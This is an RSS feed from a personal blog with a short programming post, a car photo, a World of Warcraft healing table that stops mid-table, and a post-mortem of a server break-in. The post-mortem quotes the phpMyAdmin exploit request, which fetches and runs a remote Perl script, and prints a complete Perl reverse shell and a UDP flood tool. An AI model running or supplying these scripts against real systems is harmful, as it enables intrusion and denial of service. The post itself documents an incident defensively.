<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>project-2501.net &#187; Uncategorized</title>
	<atom:link href="http://project-2501.net/index.php/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://project-2501.net</link>
	<description>The net is vast and infinite.</description>
	<lastBuildDate>Tue, 08 Nov 2011 10:38:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Post-Increment Variable Bug</title>
		<link>http://project-2501.net/index.php/2011/11/post-increment-variable-bug/</link>
		<comments>http://project-2501.net/index.php/2011/11/post-increment-variable-bug/#comments</comments>
		<pubDate>Tue, 08 Nov 2011 10:38:06 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=404</guid>
		<description><![CDATA[Found this little bug today in some old (untested code). I was amused that the code would have worked using pre-increment operator (and yet, still been wrong). # Simplified example, in the original code this was 3 lines long # Assume use_record_map = false; record_id = &#40;use_record_map&#41; ? lookup_record_id&#40;foo&#41; : record_id++; Pythons lack of ++ [...]]]></description>
			<content:encoded><![CDATA[<p>Found this little bug today in some old (untested code).  I was amused that the code would have worked using pre-increment operator (and yet, still been wrong).</p>
<div class="codecolorer-container python default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;"># Simplified example, in the original code this was 3 lines long</span><br />
<span style="color: #808080; font-style: italic;"># Assume use_record_map = false;</span><br />
record_id <span style="color: #66cc66;">=</span> <span style="color: black;">&#40;</span>use_record_map<span style="color: black;">&#41;</span> ? lookup_record_id<span style="color: black;">&#40;</span>foo<span style="color: black;">&#41;</span> : record_id++<span style="color: #66cc66;">;</span></div></div>
<p>Pythons lack of ++ / &#8212; operators makes a little more sense now (one extra character in exchange for removing several type of bugs.  Even if they are rather obvious bugs).</p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2011/11/post-increment-variable-bug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Car :)</title>
		<link>http://project-2501.net/index.php/2011/10/new-car/</link>
		<comments>http://project-2501.net/index.php/2011/10/new-car/#comments</comments>
		<pubDate>Tue, 18 Oct 2011 11:27:21 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=405</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://project-2501.net/gallery/other/falcon-xt.jpeg"><img src="http://project-2501.net/gallery/.thumbs/gallery_other_falcon-xt.jpeg.jpeg"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2011/10/new-car/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>hacked</title>
		<link>http://project-2501.net/index.php/2009/09/hacked/</link>
		<comments>http://project-2501.net/index.php/2009/09/hacked/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 07:52:56 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=194</guid>
		<description><![CDATA[Yep, I was hacked 5 days ago. Seems I&#8217;ve been part of some DOS attack (I forgot to record the IPs of who, and it was only ~60GB of traffic). From what I can tell, it exploited an (old, now patched) hole in PHPMyAdmin that let you write PHP files with what ever content you [...]]]></description>
			<content:encoded><![CDATA[<p>Yep, I was hacked 5 days ago.  Seems I&#8217;ve been part of some DOS attack (I forgot to record the IPs of who, and it was only ~60GB of traffic).</p>
<p>From what I can tell, it exploited an (old, now patched) hole in PHPMyAdmin that let you write PHP files with what ever content you wanted.  <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1151">CVE-2009-1151</a>.  An implementation of that attack is available from <a href="http://www.gnucitizen.org/static/blog/2009/06/phpmyadminrcesh.txt">GNU Citizen</a></p>
<p>Of course after that, you&#8217;re able to do anything the web server can.  The command that was run on my server was:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/admin/phpmyadmin/config/config.inc.php?c=cd%20/tmp;wget%20mixtheremix.ucoz.com/robot.txt;perl%20robot.txt;rm%20-rf%20robot.txt</div></div>
<p>ucoz.com is a free website service.  I was also unable to recover robot.txt</p>
<p>The script appear to download and execute two scripts:<br />
<strong>back.txt</strong></p>
<div class="codecolorer-container perl default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="perl codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span><br />
<span style="color: #000000; font-weight: bold;">use</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">;</span><br />
<span style="color: #0000ff;">$system</span> &nbsp; &nbsp;<span style="color: #339933;">=</span> <span style="color: #ff0000;">'/bin/bash'</span><span style="color: #339933;">;</span><br />
<span style="color: #0000ff;">$ARGC</span><span style="color: #339933;">=@</span><span style="color: #000000; font-weight: bold;">ARGV</span><span style="color: #339933;">;</span><br />
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;--== Fucking Machine ==-- <span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$ARGC</span><span style="color: #339933;">!=</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;Usage: $0 [Host] [Port] <span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #000066;">die</span> <span style="color: #ff0000;">&quot;Ex: $0 127.0.0.1 2121 <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">use</span> Socket<span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">use</span> FileHandle<span style="color: #339933;">;</span><br />
<span style="color: #000066;">socket</span><span style="color: #009900;">&#40;</span>SOCKET<span style="color: #339933;">,</span> PF_INET<span style="color: #339933;">,</span> SOCK_STREAM<span style="color: #339933;">,</span> <span style="color: #000066;">getprotobyname</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'tcp'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">or</span> <span style="color: #000066;">die</span> <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[-] Unable to Resolve Host<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066;">connect</span><span style="color: #009900;">&#40;</span>SOCKET<span style="color: #339933;">,</span> sockaddr_in<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> inet_aton<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">or</span> <span style="color: #000066;">die</span> <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[-] Unable to Connect Host<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[*] Spawning Shell <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
SOCKET<span style="color: #339933;">-&gt;</span><span style="color: #006600;">autoflush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">STDIN</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt;&amp;SOCKET&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">STDOUT</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;&gt;&amp;SOCKET&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">STDERR</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;&gt;&amp;SOCKET&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;--== Thuraya Team ==-- &nbsp;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066;">system</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;unset HISTFILE; unset SAVEFILE; unset HISTSAVE; history -n; unset WATCH; export HISTFILE=/dev/null ;echo --==Systeminfo==-- ; uname -a;echo;echo --==Uptime==--; w;echo;<br />
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$system</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p><strong>udp.pl</strong></p>
<div class="codecolorer-container perl default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="perl codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span><br />
<br />
<br />
<span style="color: #000000; font-weight: bold;">use</span> Socket<span style="color: #339933;">;</span><br />
<br />
<span style="color: #0000ff;">$ARGC</span><span style="color: #339933;">=@</span><span style="color: #000000; font-weight: bold;">ARGV</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$ARGC</span> <span style="color: #339933;">!=</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #000066;">printf</span> <span style="color: #ff0000;">&quot;$0 &lt;ip&gt; &lt;port&gt; &lt;time&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066;">printf</span> <span style="color: #ff0000;">&quot;for any info vizit http://hacking.3xforum.ro/ <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #b1b100;">my</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$ip</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$port</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$size</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$time</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #0000ff;">$ip</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #0000ff;">$port</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #0000ff;">$time</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000066;">socket</span><span style="color: #009900;">&#40;</span>crazy<span style="color: #339933;">,</span> PF_INET<span style="color: #339933;">,</span> SOCK_DGRAM<span style="color: #339933;">,</span> <span style="color: #cc66cc;">17</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">$iaddr</span> <span style="color: #339933;">=</span> inet_aton<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;$ip&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000066;">printf</span> <span style="color: #ff0000;">&quot;Amu Floodez $ip pe portu $port <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000066;">printf</span> <span style="color: #ff0000;">&quot;daca nu pica in 10 min dai pe alt port <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span><span style="color: #cc66cc;">0</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #000066;">goto</span> randpackets<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span><span style="color: #cc66cc;">0</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #000066;">system</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;(sleep $time;killall -9 udp) &amp;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066;">goto</span> packets<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span><span style="color: #cc66cc;">0</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #000066;">goto</span> packets<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span><span style="color: #cc66cc;">0</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #0000ff;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #000066;">system</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;(sleep $time;killall -9 udp) &amp;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #000066;">goto</span> randpackets<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
packets<span style="color: #339933;">:</span><br />
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #0000ff;">$size</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$rand</span> x <span style="color: #0000ff;">$rand</span> x <span style="color: #0000ff;">$rand</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066;">send</span><span style="color: #009900;">&#40;</span>crazy<span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$size</span><span style="color: #339933;">,</span> sockaddr_in<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$port</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$iaddr</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span> <br />
<br />
randpackets<span style="color: #339933;">:</span><br />
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #0000ff;">$size</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$rand</span> x <span style="color: #0000ff;">$rand</span> x <span style="color: #0000ff;">$rand</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #0000ff;">$port</span><span style="color: #339933;">=</span><span style="color: #000066;">int</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">rand</span> <span style="color: #cc66cc;">65000</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066;">send</span><span style="color: #009900;">&#40;</span>crazy<span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$size</span><span style="color: #339933;">,</span> sockaddr_in<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$port</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$iaddr</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>What I&#8217;ve learnt:</p>
<ul>
<li>Keep PHPMyAdmin up to date, because they suck at security (The whole idea of a PHP script being able to write a PHP script is stupid)
<li>(Failing the last point) Don&#8217;t leave un-maintained PHP scripts in publicly accessible locations</li>
<li>Investigate in a way to disable system/eval in PHP (with a whitelist)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/09/hacked/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>3.2 Rolling FoL SS HoTs</title>
		<link>http://project-2501.net/index.php/2009/06/32-rolling-fol-ss-hots/</link>
		<comments>http://project-2501.net/index.php/2009/06/32-rolling-fol-ss-hots/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 08:31:21 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=172</guid>
		<description><![CDATA[Holy Paladin changes in 3.2 seem pretty significant, I&#8217;m currently hoping the FoL/HoT mechanic works a little like ignite, where in effect you have n number of buffs up on the target, and WoW just consolidates them into one (As oppose to old ignite rolling, where each time the debuff was added, the damage was [...]]]></description>
			<content:encoded><![CDATA[<p>Holy Paladin changes in 3.2 seem pretty significant, I&#8217;m currently hoping the FoL/HoT mechanic works a little like ignite, where in effect you have <em>n</em> number of buffs up on the target, and WoW just consolidates them into one  (As oppose to old ignite rolling, where each time the debuff was added, the damage was added to the previous debuff and the time reset, resulting in massive damage with lots of luck).</p>
<p>I&#8217;m 95% sure the FoL SS HoT won&#8217;t work like this, but I wanted to test how it would work at current gear levels.</p>
<p><!-- Horrible CCS hacks to add padding back to my poor tables --></p>
<style>
.mytable_172 td
{
padding: 0.2em;
}
</style>
<table class="mytable_172" cellspacing="0" cellpadding="2" cols="1" border="1" style="border: 1px solid #ccc; border-collapse: collapse;">
<tbody>
<tr>
<td><B>0</B></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5000</I></td>
</tr>
<tr>
<td><B>0.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>0</I></td>
</tr>
<tr>
<td><B>1</B></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>1.5</B></td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5000</I></td>
</tr>
<tr>
<td><B>2</B></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>2.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>3</B></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5417</I></td>
</tr>
<tr>
<td><B>3.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>4</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>4.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5417</I></td>
</tr>
<tr>
<td><B>5</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>5.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>6</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>5833</I></td>
</tr>
<tr>
<td><B>6.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>7</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>7.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td></td>
<td><I>5833</I></td>
</tr>
<tr>
<td><B>8</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>8.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>9</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td><I>6250</I></td>
</tr>
<tr>
<td><B>9.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>10</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>10.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td><I>6250</I></td>
</tr>
<tr>
<td><B>11</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>11.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>12</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td><I>6667</I></td>
</tr>
<tr>
<td><B>12.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>13</B></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>13.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>14</B></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>14.5</B></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>15</B></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>15.5</B></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>16</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>16.5</B></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>17</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>17.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>18</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>18.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>19</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>19.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>20</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>20.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
